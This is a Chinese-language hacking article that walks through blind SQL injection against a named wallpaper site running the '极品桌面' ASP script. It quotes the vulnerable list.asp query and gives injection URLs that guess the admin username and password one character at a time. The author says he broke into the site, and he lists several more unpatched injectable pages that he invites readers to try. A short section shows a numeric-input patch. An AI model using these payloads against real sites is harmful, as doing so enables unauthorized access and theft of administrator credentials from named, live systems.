注册
登录
| 关键词： download Nclassid classid id select nbsp where request 代码 DNclass |
作者:safer 出处:cnwill.com 近日更新完cnwill.com后在网上闲游，跑到刚上网时认识的一个朋友的站上逛。http://desk.hdskin.com/站点还算美观 本打算要来代码做我们寝室的贴图区。但他只提供V1.1[v1.1下载地址http://chinaz.com/download/software.asp?SOFTWAREID=8163] 不提供最新的v1.2.于是想试试其代码有没有SQL Injection漏洞. 猜解 先下载其v1.1版本的代码，我估计他v1.2也就是比V1.1美化了下，主要的结构的不会变。 首先测试下list.asp,因为根据经验像这样*.asp？xx=*的脚本里都存在漏洞 http://desk.hdskin.com/list.asp?id=1345 and 1=1 显示正常 http://desk.hdskin.com/list.asp?id=1345 and 1=2 显示“您没有选择相关壁纸，请返回” 看样子好象有问题哦 ：）,在看看刚才下的V1.1代码. list.asp里的代码，很容易就发现有问题的语句. 代码: -------------------------------------------------------------------------------- sql="select Dclass.class,DNclass.Nclass,download.showname,download.classid,download.Nclassid,download.lasthits from download,Dclass,DNclass where download.classid=Dclass.classid and download.Nclassid=DNclass.Nclassid and download.ID="&request("id") -------------------------------------------------------------------------------- request("id")没有经过处理,好机会，天祝我也，哈哈哈哈。 然后就重刚才下的V1.1里查看数据库的表名和列名,管理员信息都存放在admin里,用户名username 管理密码password,权限设定flag (当flag=1时候为最高管理员，=2时为一般管理员) 首先测试下http://desk.hdskin.com/list.asp?id=1是否显示正常,如显示正常那就用如下语句猜测 代码: -------------------------------------------------------------------------------- http://desk.hdskin.com/list.asp?id=(select min(id) from admin where left(password,1)='c' and id=1) -------------------------------------------------------------------------------- 如不能正常显示则用下面的语句猜测 代码: -------------------------------------------------------------------------------- http://desk.hdskin.com/list.asp?id=1345 and exists (select min(id) from admin where left(password,1)='c' and id=1) -------------------------------------------------------------------------------- 这里说下猜解技巧 min(id)是最小ID，也可以换成max(id). and id=1，是制改管理员在admin表的ID号。left是重password列的左边猜密码, right是重password列的右边猜密码,根据经验最好是左右开工，这样猜起来速度比较快！ 我们先猜下ID=1的管理员的用户名和管理密码的长度 猜用户名 http://desk.hdskin.com/list.asp?id=(select min(id) from admin where len(username)=8 and id=1) 猜用户名 http://desk.hdskin.com/list.asp?id=(select min(id) from admin where len(password)=6 and id=1) 猜管理密码 猜解admin是否有sniper这个用户名 http://desk.hdskin.com/list.asp?id=1345 and 'sniper'=(select username from admin where username='sniper') 下面我们开始利用我同学ruder写的软件来猜密码，自己手动猜实在是太痛苦了。 此处已猜用户密码为列 URL:处写 http://desk.hdskin.com/list.asp?id=1345 and exists (select min(id) from admin where left(password,1)='%c') 特征字符串：处就先这个页面的特征字符串，来查看改页是否可以正常访问（如可以访问则说名密码猜对了） 假如猜出第一个密码是 S 则把URL:改为http://desk.hdskin.com/list.asp?id=1345 and exists (select min(id) from admin where left(password,2)='S%c') 假如猜出第二个密码是 A 把URL:改为http://desk.hdskin.com/list.asp?id=1345 and exists (select min(id) from admin where left(password,3)='SA%c') 用户名等就安上面的列子猜吧！[图1.gif] 下面我说说修补漏洞 上星期我破解了改网站后，站长也自己加了点补丁 代码: -------------------------------------------------------------------------------- if request("id")="" then response.write "您没有选择相关壁纸，请返回" response.end end if set rs=server.createobject("adodb.recordset") sql="select Dclass.class,DNclass.Nclass,download.showname,download.classid,download.Nclassid,download.lasthits from download,Dclass,DNclass where download.classid=Dclass.classid and download.Nclassid=DNclass.Nclassid and download.ID="&request("id") -------------------------------------------------------------------------------- 呵呵，他大概以为这样就可以阻挡我的吧！ list.asp里的代码 代码: -------------------------------------------------------------------------------- set rs=server.createobject("adodb.recordset") sql="select Dclass.class,DNclass.Nclass,download.showname,download.classid,download.Nclassid,download.lasthits from download,Dclass,DNclass where download.classid=Dclass.classid and download.Nclassid=DNclass.Nclassid and download.ID="&request("id") rs.open sql,conn,1,1 sql="select * from Dvote where downid="&request("id")&" order by id desc" -------------------------------------------------------------------------------- 修改为 代码: -------------------------------------------------------------------------------- dim idid idid=replace(request("id")," ","") if isnumeric(idid)=0 or idid="" then response.write "呵呵，你想干什么，我是safer！" response.end end if set rs=server.createobject("adodb.recordset") sql="select Dclass.class,DNclass.Nclass,download.showname,download.classid,download.Nclassid,download.lasthits from download,Dclass,DNclass where download.classid=Dclass.classid and download.Nclassid=DNclass.Nclassid and download.ID="&idid rs.open sql,conn,1,1 sql="select * from Dvote where downid="&idid&" order by id desc" [idid做了限制了，只能输入数字] -------------------------------------------------------------------------------- ------------------------------------------------------------------------------- 接下来在看看他的站点其他地方的问题 desk_news.asp rs.open sql,conn,1,3 sql="select Aclass.class,ANclass.Nclass,article.title,article.classid,article.Nclassid from article,Aclass,ANclass where article.classid=Aclass.classid and article.Nclassid=ANclass.Nclassid and article.articleID="&request("id") rs.open sql,conn,1,1 request("id")还是没有经过处理.大家按照上面说的放大自己测试吧. ------------------------------------------------------------------------------- fenlei.asp and News_index classid=request("classid") request("id")还是没有经过处理。 http://desk.hdskin.com/fenlei.asp?classid=3 and exists (select id from admin where flag=1)正常访问，说明此处有漏洞！ ------------------------------------------------------------------------------- VOTE.asp sql="select * from Dvote where downid="&request("id")&" order by id desc" downid没有经过处理 ------------------------------------------------------------------------------- QUERY.asp Nclassid=" Nclassid="&cstr(request("Nclassid"))&" and " Nclassid没经过处理. ------------------------------------------------------------------------------- 已上是粗略看了看代码，所以发现的漏洞。经过测试“极品桌面v1.2"全部有这些漏洞. |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
